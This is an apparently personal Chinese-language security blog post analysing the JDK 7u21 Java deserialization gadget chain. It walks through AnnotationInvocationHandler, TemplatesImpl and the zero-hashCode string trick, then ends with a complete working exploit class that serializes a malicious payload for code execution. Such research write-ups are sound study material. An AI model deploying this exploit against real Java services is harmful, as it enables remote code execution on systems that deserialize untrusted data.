前言
由于macbook ARM架构没有对应的JDK7
,所以对JDK_7u21
JDK原生利用链的分析推迟了,返校后用windows补上。
环境配置
JDK_7u21
源码地址:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/6a37e5210ac3
IDEA中的SDK
配置参考之前Commons-Collections1
分析的那篇文章:https://kagty1.github.io/2025/02/05/CC1%E9%93%BE%E5%88%86%E6%9E%90/
Sink位置
JDK_7u21
链的sink
点为sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
,equalsImpl
方法中调用了memberMethod.invoke(o)
,而memberMethod
通过getMemberMethods()
被遍历赋值为type
类中的所有自定义方法。


当type
为TemplatesImpl
类时,通过调用equalsImpl
方法便可调用getOutProperties
方法,实现代码执行。
寻找调用链
现在寻找能够触发equalsImpl
方法的链子。equalsImpl
方法在sun.reflect.annotation.AnnotationInvocationHandler#invoke
中被调用,首先可以想到使用动态代理触发invoke
,进而调用equalsImpl
。跟进invoke
方法查看equalsImpl
的触发条件

需要满足动态代理对象proxy
的调用方法必须为equals
。
众所周知HashSet
是一种用来去重的数据结构, 通过将对象保存在HashMap
的Key
处来做去重,HashSet.readObject
方法如下所示

跟进map.put
方法,查看其去重的逻辑,发现其调用了equals
方法

if
语句中的调用顺序如下

故触发equals
的条件是两个不同对象的哈希值相等。故接下来让proxy
对象的哈希值等于TemplatesImpl
对象的哈希值即可。
构造相等哈希值的不同对象
java.util.HashMap#put
中的哈希值计算使用int hash = hash(key);
,跟进hash
方法,它会调用Key.hashCode
方法

但这将会触发动态代理,调用sun.reflect.annotation.AnnotationInvocationHandler#invoke
,进而触发hashCodeImpl
方法

跟进hashCodeImpl
方法,使用(127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue())
来计算hashCode
并返回

这个计算方法产生了利用点,0^x = x
(x为任意值),只要让memberValues
的Key
为某个hashCode
值为0的字符串,value
为TemplatesImpl
对象,这样它返回的值恒为TemplatesImpl
对象的hashCode
。这样整条链子就齐了。
引用P神《Java安全漫谈》中的代码跑出hashCode
值为0的字符串
1 2 3 4 5 6 7 8
| public static void bruteHashCode() { for (long i = 0; i < 9999999999L; i++) { if (Long.toHexString(i).hashCode() == 0) { System.out.println(Long.toHexString(i)); } } }
|
字符串为f5a5a608
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK_7u21 { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static TemplatesImpl getEvilTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] byteCode = Files.readAllBytes(Paths.get("C:\\Users\\lenovo\\Desktop\\JavaSec\\JDK7u21\\target\\classes\\com\\xxxx\\Evil.class")); byte[][] byteCodes = {byteCode}; setFieldValue(templates, "_bytecodes", byteCodes); setFieldValue(templates, "_name", "KaGty1"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static void main(String[] args) throws Exception{ TemplatesImpl templates = getEvilTemplates();
String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, templates);
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(JDK_7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|